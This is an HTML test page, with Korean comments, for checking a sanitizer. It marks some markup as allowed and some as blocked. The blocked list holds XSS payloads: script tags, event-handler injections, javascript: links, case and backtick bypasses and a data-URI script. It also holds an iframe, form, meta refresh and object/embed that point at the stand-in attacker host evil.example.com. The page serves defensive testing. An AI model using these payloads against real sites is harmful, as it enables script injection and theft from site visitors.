<h1>Sanitize 테스트</h1>
<!-- ✅ 허용: 기본 서식 -->
<p><strong>볼드</strong> <em>이탤릭</em> <u>밑줄</u> <s>취소선</s></p>
<blockquote>인용문입니다</blockquote>
<pre><code>코드 블록</code></pre>
<ul><li>목록1</li><li>목록2</li></ul>
<ol><li>번호1</li><li>번호2</li></ol>
<!-- ✅ 허용: 이미지 -->
<img src="https://via.placeholder.com/300x100" alt="정상이미지" width="300">
<!-- ✅ 허용: 링크 -->
<a href="https://google.com" target="_blank" rel="noopener">정상 링크</a>
<!-- ✅ 허용: YouTube -->
<iframe src="https://www.youtube.com/embed/dQw4w9WgXcQ" width="560" height="315" allowfullscreen></iframe>
<!-- ✅ 허용: Vimeo -->
<iframe src="https://player.vimeo.com/video/76979871" width="640" height="360"></iframe>
<!-- ✅ 허용: 테이블 -->
<table><thead><tr><th>이름</th><th>나이</th></tr></thead><tbody><tr><td>홍길동</td><td>30</td></tr></tbody></table>
<!-- ✅ 허용: 스타일/클래스 -->
<div class="ql-editor" style="color: red; font-size: 18px;">스타일 적용 텍스트</div>
<!-- ❌ 차단: script -->
<script>alert('XSS-script')</script>
<!-- ❌ 차단: onerror -->
<img src="x" onerror="alert('XSS-onerror')">
<!-- ❌ 차단: onmouseover -->
<div onmouseover="alert('XSS-hover')">마우스 올려보세요</div>
<!-- ❌ 차단: onclick -->
<a href="#" onclick="alert('XSS-onclick')">클릭해보세요</a>
<!-- ❌ 차단: javascript scheme -->
<a href="javascript:alert('XSS-href')">javascript href</a>
<!-- ❌ 차단: 허용 안된 iframe -->
<iframe src="https://evil.example.com/steal"></iframe>
<!-- ❌ 차단: form -->
<form action="https://evil.example.com"><input type="text" value="탈취"><button>전송</button></form>
<!-- ❌ 차단: meta refresh -->
<meta http-equiv="refresh" content="0;url=https://evil.example.com">
<!-- ❌ 차단: object/embed -->
<object data="https://evil.example.com/mal.swf"></object>
<embed src="https://evil.example.com/mal.swf">
<!-- ❌ 차단: SVG XSS -->
<svg onload="alert('XSS-svg')"><circle r="50"></circle></svg>
<!-- ❌ 차단: 대소문자 우회 -->
<ScRiPt>alert('XSS-case')</ScRiPt>
<!-- ❌ 차단: HTML 인코딩 우회 -->
<a href="javascript:alert('XSS-encode')">인코딩 우회</a>
<!-- ❌ 차단: 이벤트 핸들러 변형 -->
<img src=x onerror=alert`XSS-backtick`>
<!-- ❌ 차단: body onload -->
<body onload="alert('XSS-body')">
<!-- ❌ 차단: style 태그 -->
<style>body{background:url('javascript:alert(1)')}</style>
<!-- ❌ 차단: data scheme 이미지 -->
<img src="data:text/html,<script>alert('XSS-data')</script>">